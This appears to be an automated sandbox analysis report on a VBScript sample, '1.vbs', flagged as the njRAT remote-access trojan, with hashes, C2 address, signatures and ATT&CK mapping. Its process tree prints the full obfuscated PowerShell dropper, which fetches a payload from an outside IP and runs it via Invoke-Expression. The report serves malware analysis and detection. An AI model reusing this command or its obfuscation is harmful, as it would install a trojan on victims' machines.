Overview

overview

10

Static

static

1.vbs

windows7_x64

10

1.vbs

windows10_x64

10

Analysis

  • max time kernel
    147s
  • max time network
    149s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    10-09-2021 18:25

Sharing

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Report Analysis Logs

General

  • Target

    1.vbs

  • Size

    5KB

  • MD5

    83b9414820f37287d526b16da3c6e6d9

  • SHA1

    9afab0d39520db7e8754ac5c9e27f7d73220d27c

  • SHA256

    d0b59cba5f88973dfeea8610926e26b61b4c25125bfd8168954e9dd87d6b132d

  • SHA512

    1879f8dc3087a0a5e3a4b7f21ef210fe8278117ef687fac45ccd0d71e63ef6b9a621a036b222fc5bf6ad007df76bc6d0ec3f8c3f6b7dcd20dcad6fc31b945fb1

Score
10/10
njratbosssuricatatrojan

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://54.184.87.30/Dbypass.txt

Extracted

Family

njrat

Version

v4.0

Botnet

Boss

C2

103.147.184.73:7103

Mutex

Windows

Attributes
  • reg_key

    Windows

  • splitter

    |-F-|

Signatures

  • njRAT/Bladabindi

    Widely used RAT written in .NET.

    trojannjrat
  • suricata: ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll)

    suricata: ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll)

    suricata
  • Blocklisted process makes network request 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 24 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\1.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:632
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $SZXDCFVGBHNJSDFGH = 'http://54XXX184XXX87XXX30/DbypassXXXtxt'.Replace('XXX','.');$SOS='2^===H===^5===H===^^===H===52===H===^`===H===^7===H===^8===H===^e===H===^a===H===^d===H===^b===H===^^===H===^5===H===^`===H===^7===H===^8===H===^a===H===20===H===3d===H===20===H===27===H===`e===H===^5===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===^5===H===`2===H===^3===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===5^===H===27===H===2e===H===52===H===`5===H===70===H===`c===H===`1===H===`3===H===`5===H===28===H===27===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===27===H===2c===H===27===H===7^===H===2e===H===57===H===27===H===29===H===2e===H===52===H===`5===H===70===H===`c===H===`1===H===`3===H===`5===H===28===H===27===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===27===H===2c===H===27===H===`c===H===^9===H===^5===H===^e===H===27===H===29===H===3b===H===0a===H===2^===H===53===H===58===H===^^===H===^3===H===^`===H===5`===H===^7===H===^2===H===^8===H===^e===H===^a===H===58===H===^^===H===^3===H===^`===H===5`===H===^7===H===^2===H===^8===H===^a===H===^b===H===20===H===3d===H===20===H===27===H===^^===H===^f===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===`1===H===^^===H===53===H===5^===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===^7===H===27===H===2e===H===52===H===`5===H===70===H===`c===H===`1===H===`3===H===`5===H===28===H===27===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===27===H===2c===H===27===H===57===H===`e===H===^c===H===`f===H===27===H===29===H===2e===H===52===H===`5===H===70===H===`c===H===`1===H===`3===H===`5===H===28===H===27===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===27===H===2c===H===27===H===72===H===^9===H===`e===H===27===H===29===H===3b===H===0a===H===2^===H===53===H===57===H===58===H===^^===H===^5===H===^3===H===52===H===^`===H===^7===H===59===H===^8===H===55===H===^a===H===^9===H===53===H===^^===H===^`===H===5`===H===^7===H===^8===H===^a===H===20===H===3d===H===27===H===^9===H===`0===H===^5===H===58===H===28===H===`e===H===`0===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===`0===H===`3===H===`0===H===5^===H===20===H===2^===H===^5===H===^^===H===52===H===^`===H===^7===H===^8===H===^e===H===^a===H===^d===H===^b===H===^^===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===^7===H===^2===H===^8===H===^e===H===^a===H===53===H===^^===H===^`===H===^7===H===^8===H===29===H===27===H===2e===H===52===H===`5===H===70===H===`c===H===`1===H===`3===H===`5===H===28===H===27===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===27===H===2c===H===27===H===`5===H===`0===H===57===H===`0===H===2d===H===^f===H===`2===H===`a===H===`0===H===^5===H===27===H===29===H===2e===H===52===H===`5===H===70===H===`c===H===`1===H===`3===H===`5===H===28===H===27===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===27===H===2c===H===27===H===^5===H===^`===H===^7===H===^8===H===^a===H===29===H===2e===H===2^===H===53===H===58===H===^^===H===^3===H===^`===H===5`===H===^7===H===^2===H===^8===H===^e===H===^a===H===58===H===^^===H===^3===H===^`===H===5`===H===^7===H===^2===H===^8===H===^a===H===^b===H===28===H===2^===H===53===H===5a===H===58===H===^^===H===^3===H===^`===H===5`===H===27===H===29===H===3b===H===0a===H===2`===H===28===H===27===H===^9===H===27===H===2b===H===27===H===^5===H===58===H===27===H===29===H===28===H===2^===H===53===H===57===H===58===H===^^===H===^5===H===^3===H===52===H===^`===H===^7===H===59===H===^8===H===55===H===^a===H===^9===H===53===H===^^===H===^`===H===5`===H===^7===H===^8===H===^a===H===20===H===2d===H===^a===H===`f===H===`9===H===`e===H===20===H===27===H===27===H===29===H===7c===H===2`===H===28===H===27===H===^9===H===27===H===2b===H===27===H===^5===H===58===H===27===H===29===H===3b'.Replace('^','4').Replace('`','6');Invoke-Expression (-join ($SOS -split '===' | ? { $_ } | % { [char][convert]::ToUInt32($_,16) }))
      2⤵
      • Blocklisted process makes network request
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1000
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2116

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1
T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

  • memory/1000-114-0x0000000000000000-mapping.dmp
    Download
  • memory/1000-119-0x000001CE4C610000-0x000001CE4C611000-memory.dmp
    Filesize

    4KB

    Download
  • memory/1000-122-0x000001CE4C820000-0x000001CE4C821000-memory.dmp
    Filesize

    4KB

    Download
  • memory/1000-125-0x000001CE4C690000-0x000001CE4C692000-memory.dmp
    Filesize

    8KB

    Download
  • memory/1000-126-0x000001CE4C693000-0x000001CE4C695000-memory.dmp
    Filesize

    8KB

    Download
  • memory/1000-127-0x000001CE4C696000-0x000001CE4C698000-memory.dmp
    Filesize

    8KB

    Download
  • memory/1000-224-0x000001CE4C698000-0x000001CE4C699000-memory.dmp
    Filesize

    4KB

    Download
  • memory/1000-3447-0x000001CE4C680000-0x000001CE4C684000-memory.dmp
    Filesize

    16KB

    Download
  • memory/2116-3448-0x0000000000400000-0x000000000040E000-memory.dmp
    Filesize

    56KB

    Download
  • memory/2116-3449-0x000000000040836E-mapping.dmp
    Download
  • memory/2116-3458-0x00000000058D0000-0x00000000058D1000-memory.dmp
    Filesize

    4KB

    Download
  • memory/2116-3459-0x00000000062A0000-0x00000000062A1000-memory.dmp
    Filesize

    4KB

    Download
  • memory/2116-3460-0x0000000005810000-0x0000000005811000-memory.dmp
    Filesize

    4KB

    Download
  • memory/2116-3461-0x0000000005F30000-0x0000000005F31000-memory.dmp
    Filesize

    4KB

    Download
  • memory/2116-3462-0x0000000005F00000-0x0000000005F01000-memory.dmp
    Filesize

    4KB

    Download
  • memory/2116-3463-0x0000000006160000-0x0000000006161000-memory.dmp
    Filesize

    4KB

    Download